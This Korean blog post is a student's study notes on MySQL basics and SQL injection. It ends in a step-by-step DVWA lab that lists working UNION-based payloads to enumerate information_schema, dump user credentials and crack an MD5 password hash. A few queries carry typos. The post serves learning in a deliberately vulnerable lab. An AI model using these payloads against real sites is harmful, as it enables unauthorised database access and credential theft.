처음 만나는 클라우드 보안

SQL 기본구동 및 인젝션(Injection) 실습 본문

정보보안

SQL 기본구동 및 인젝션(Injection) 실습

영민하게 2022. 5. 4. 17:53
반응형

MySQL이란?

: 표준 데이터 질의 언어인 SQL(Structured Query Language)을 사용하는 가장 널리 사용되는 데이터 관리 시스템이다.

 

 

MySQL 기본구동

 

데이터베이스 만들기

$create database korea charset utf8 collate utf8_general_ci;  // utf8옵션을 통해 DB상 한글 입력 가능

 

데이터 형식

: 데이터 베이스 형성(create)시 미리 지정한 데이터 타입에 맞는 값을 입력해야 한다. 문자의 크기도 가변형과 비가변형에 따라 이에 맞는 값을 입력해야 한다.

 

$create table city(name varchar(10), phone int(3), color char(3), people bigint);

 

 - varchar (Various Character): 가변길이 문자열 ex) varchar(10): 10글자 이내로 작성

 - char (Character): 고정길이 문자열 ex) char(3): 무조건 세글자

 - int(integer): 정수 (최대 20억 정도밖에 못 씀) ex) 예산, 부동산 가격, 고액 연봉자는 표시 어려움

 - bigint: 큰 정수

 - text: 글 입력 가능  숫자는 바로 입력, 문자열은 반드시 ' '로 묶어주어야 한다. 

 

데이터 입력

insert into city values ('Seoul', 002, 'BLU', 10000000);

insert into city values ('Seoul2', 002, 'BL', 20000000);

insert into city values ('Seoul3', 002, 'BU', 30000000);

insert into city values ('Seoul4', 002, 'LU', 40000000);

 

데이터 확인

select * from city;  // 데이터 확인

desc city;  // 구조 확인

 

데이터 수정

update city set people = 3000000 where name = 'Ulsan';

 

 ex1) 패스워드를 test12#$로 바꾸기

테이블명은 memebr, column명은 passwd,

update memebr set passwd = 'test12#$' where name = 'admin';    //패스워드 평문으로 저장됨

update member set passwd=sha2('test12#$', 256) where userid='admin';

 

ex2) Select문 두개 연결하기

=> UNION 사용

select name, phone from city union select color, people from city; : 앞과 뒤의 컬럼 갯수를 일치시켜야 한다. 

 

 

SQL 인젝션

1. SQL 인젝션의 원리

  1) 로직이 참이 되도록 한다.

True and False = False  //and는 둘다 True여야 True

Ture or False = True    //or는 둘 중 하나만 True여도 True

 

 2) 주석처리 한다.

: 인젝션시 뒤에 남는 부분은 SQL에러를 발생시킴 --> 주석처리해서 무력화 시킨다.

Oracle, MS-SQL: --  //주석처리 방식 기억

MySQL, MariaDB: #

 

 3) 중첩문 사용한다.

SELECT문 앞에 UNION SELECT로 필요한 정보 수집

SELECT문 앞에 마무리 짓고 UPDATE문 사용

 

 

2. Information_schema

: information_schema란 타겟 DB에 대한 정보들을 저장해 놓은 DB를 뜻한다. 

 

> use information_schema;

> show tables;  // Tables라는 테이블과 Columns라는 테이블이 있다.

> desc tables;

> select distinct table_schema from tables;  // table_schema라는 컬럼만 골라서 보기 (distinct - 중복제거)

> show databases; // table_schema를 select한 결과와 동일하다.

 

>select table_name from tables wehre table_schema = 'korea';  //korea라는 DB의 테이블만 보려할 때

 

>desc columns;   // columns 테이블의 컬럼 목록 보기

> select  column_name from columns;                           // columns 테이블의 컬럼이름들을 보기

> select  column_name from columns  where  table_name='city';      // 테이블이름이 city인 컬럼이름만 보기

 

3. DVWA실습

웹해킹 사이트 : Damn Vulnerable Web App

링크: http://192.168.5.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

 

SQL Injection

현재상황 input:번호 =>output: ID & PW, 사용자 계정은 총 5개 (1~5)로 추정

SQL구문 예상 => select firstname, sirnmae from ? where id = ' ';

 

Q. 계정 전체 출력

select firstname, sirnmae from ? where id = '' or 1=1# '; 

  앞의 ' 와 짝을 이루는 ' 를 넣는다. => NULL값 발생 => False 발생

  1=1 => True   // 참이 되면 된다. 또는 2>1, 'a'='a' 등 모두 가능

  False or True => True

  # ':뒤를 다 주석처리, 에러방지

 

Q. 등록된 계정의 ID와 PW조사

:필요한넉 => DB이름, 테이블이름, 컬럼이름 (SQL문 제작가능)

 

 1) select문의 요청 개수 파악 => UNION이용

  select ?, ? from ? where id = '' union select null#';  // 1컬럼 1개만 넣어보기 --> 컬럼개수 불일치

  select ?, ? from ? where id = '' union select null,null#';  // 컬럼개수 일치 => 요청수는 2개씩이다.

 

 2) DB이름 알아내기

 select ?, ? from ? where id = '' union select database().user() # => dvwa, root@localhost

 

 3) Table이름 알아내기 (information_schema이용)

'union select table_name, null from information_schema.tables where table_schema='dvwa' #   //. DB와 테이블의 구분점 info_schema안의 테이블

  => 테이블 명은 'users', 'guestbook' 라는 테이블 확인

 

 4) Column이름 알아내기

'union select column_name,null from information_schema.columns where table_name='users'#

  => user, password

 

 5) 각 사용자의 계정과 패스워드 알아내기

'union select user, password from users#

  => admin / 5f4dcc3b5aa765d61d8327deb882cf99 : 실제 패스워드는 아니다. (4bit * 32 = 128bit, MD5의 해시값)

해쉬값 해석(출처-https://hashes.com/en/decrypt/hash)

정답: ID=admin, PW=password

 

 

 

Q. 주석(#)뒤에 세미콜론(;)은 생략되어도 무방한가?

A. 컨멘드 라인에서 줄바꿈 기능일 뿐, 어플리케이션 통신에선 큰 기능을 하진 않는다. 문장의 끝 여부가 더 중요함

 

 

 

본 게시물은 학습기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.

반응형
Comments